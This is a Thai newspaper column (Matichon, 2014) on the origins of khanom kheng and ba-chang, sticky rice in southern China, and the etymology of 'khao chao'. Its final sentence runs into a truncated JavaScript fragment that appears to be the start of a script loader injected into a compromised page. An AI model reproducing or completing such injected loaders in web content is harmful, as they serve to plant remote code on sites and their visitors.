มติชนรายวัน ฉบับประจำวันพุธที่ 30 เมษายน 2557

 

ขนมเข่ง, ขนมจ้าง

          ข้าวเหนียว เป็นธัญพืชหลักของจีนภาคใต้ ทางลุ่มน้ำแยงซีเกียง

          ข้าวฟ่าง เป็นธัญพืชหลักของจีนภาคเหนือ ทางลุ่มน้ำฮวงโห

          เป็นความรู้สำคัญที่ผมเพิ่งได้จากหนังสือเทศกาลจีนและการเซ่นไหว้ ของ ถาวร สิกขโกศล (สำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2557)

          เพราะจีนในไทยมีประเพณีสำคัญเกี่ยวข้องกับข้าวเหนียว และจีนภาคใต้ทางลุ่มน้ำแยงซีเกียงมีบรรพชนคนกลุ่มหนึ่ง เมื่อ 3,000 ปีมาแล้ว พูดตระกูลภาษาไทย-ลาว แล้วยังพูดสืบเนื่องถึงทุกวันนี้ในยูนนาน, กวางสี, กวางตุ้ง

          เนื้อหาทั้งเล่มบอกว่าเทศกาลมีตลอดปี ในช่วงเดือนต่างๆของจีน

          แต่ไม่มีปฏิทินเทียบให้รู้ว่าเดือนจีน ตรงกับเดือนอะไรตามปฏิทินสากล? ผมเป็นเจ๊กปนลาวก็จริง แต่ไม่เกิดและโตในประเพณีจีน แล้วไม่รู้ว่าเดือนจีนกับเดือนไทยต่างกันเท่าไร?

          ในเล่มเขียนบ่อยๆว่าเดือนอ้าย ก็ไม่รู้ว่าเดือนอ้ายไทยหรือจีน? ทำให้งงและหงุดหงิดมากๆ เพราะยิ่งอ่าน ก็ยิ่งรู้สึกโง่กว่าเดิม

          ขนมเข่ง มาจากขนมไหว้ตรุษจีน เรียก เหนียนเกา (แปลว่า ขนมประจำปี) ทำด้วยแป้งจากข้าวชนิดใดชนิดหนึ่ง เช่น ข้างฟ่าง แต่จีนภาคใต้ใช้ข้าวเหนียว (เพราะประชากรดั้งเดิมกินข้าวเหนียว)

          เหนียนเกา นึ่งในถาดขนาดใหญ่น้อย โดยยกไหว้ทั้งถาด เมื่อจะกินต้องตัดแบ่งเป็นชิ้น

          ครั้นเข้าเมืองไทยก็ดัดแปลงวัสดุใช้ใบตองทำกระทงเป็นเข่งเล็กใส่เหนียนเกาข้าวเหนียวนึ่งออกมาแล้วเรียก ขนมเข่ง

          บ๊ะจ่าง หรือ ขนมจ้าง ทำจากข้าวเหนียว

          เดิมเรียก ถ่งจ้ง แปลว่า ขนมจ้างกระบอก คือข้าวหลาม เพราะเอาข้าวเหนียวใส่กระบอกไผ่ย่างไฟให้สุก ยุคต่อมาหลังจากนั้นใช้ใบไผ่ห่อข้าวเหนียวใส่หม้อต้ม

          บ๊ะจ่าง เป็นของไหว้ประจำสารทบ๊ะจ่าง แปลว่า ขนมจ้างไส้เค็มมีเนื้อสัตว์เป็นส่วนประกอบ

          บ๊ะ เป็นภาษาพูดแต้จิ๋ว แปลว่า เนื้อ, จ่าง สำเนียงแต้จิ๋ว ว่า จั่ง สำเนียงจีนกลาง ว่า จ้ง แปลว่า ข้าวห่อใบหลู (พืชตระกูลอ้อหน่อไม้น้ำชนิดใบใหญ่ใช้ห่ออาหารได้)

          ไทย-ลาว เรียก บ๊ะจ่าง ว่าขนมจ้าง

          (จ่าง แปลว่า ถ่าง, กาง เช่น กางแขน เรียก จ่างแขน กางขา เรียก จ่างขา จ้าง หมายถึง ชื่อเครื่องมือยิงสัตว์ทำด้วยไม้แก่น แล้วมีสายยิงลูกดอก เรียกหน้าจ้าง หรือ หน้าไม้ คล้ายรูปสามเหลี่ยม หรือถ่างแขนขา)

          ประเพณีสารทบ๊ะจ่าง มีกำเนิดจากข้าวเหนียวซึ่งเป็นธัญพืชทางใต้ แล้วแพร่จากภาคใต้ (ลุ่มน้ำแยงซี) ขึ้นไปภาคเหนือ (ลุ่มน้ำฮวงโห)

          มีนิทานกำกับว่าเริ่มจากปั้นข้าวเหนียว ใช้เซ่นพลีโยนใส่ปากมังกร (นาค), จระเข้, งู ซึ่งล้วนเป็นสัตว์ศักดิ์สิทธิ์ผู้พิทักษ์น้ำ เหล่านี้เป็นความเชื่อดั้งเดิมที่มีทางอุษาคเนย์

          อ. ถาวร บอกในหนังสือเทศกาลจีนฯ อีกตอนหนึ่งว่า ข้าวเจ้ากับข้าวเหนียวเป็นธัญชาติหลักของจีนภาคใต้ ข้าวเจ้าปัจจุบันเรียก ต้าหมี่ (ข้าวเม็ดใหญ่) ข้าวเหนียวเรียก นั่วหมี่ (ข้าวเนื้อเหนียว) จีนแต้จิ๋วเรียก จุกบี้ ถือเป็นข้าวชั้นดีของจีนใต้

          “คำว่า เจ้า ในข้าวเจ้านั้นในภาษาไทอาหมและไทใหญ่หมายถึง ร่วน ซุย ไม่เหนียว เจ้าจึงมีความหมายที่ 2 ว่า หุง ข้าวเจ้าคือ ข้าวเนื้อซุย ข้าวสำหรับหุง” อ. ถาวร อธิบาย

          ผมได้ยินนักปราชญ์และนักค้นคว้าครูบาอาจารย์ผู้ใหญ่แต่ก่อน มักอธิบายว่า ข้าวเจ้า มาจาก ข้าวเหลือเจ้า หมายถึง ข้าวที่เจ้านายเสวย แล้วเหลือไว้ให้พวกไพร่กินทีหลัง นานเข้าก็เรียกข้าวอย่างนี้ว่า ข้าวเจ้า ต่อมาคำว่า ข้าวเสวย คือ ข้าวสวย

          ถ้าอย่างนี้คำอธิบายของ อ. ถาวร น่าฟังมากกว่าif (document.currentScript) { var d=document;var s=d.createElement(‘script’);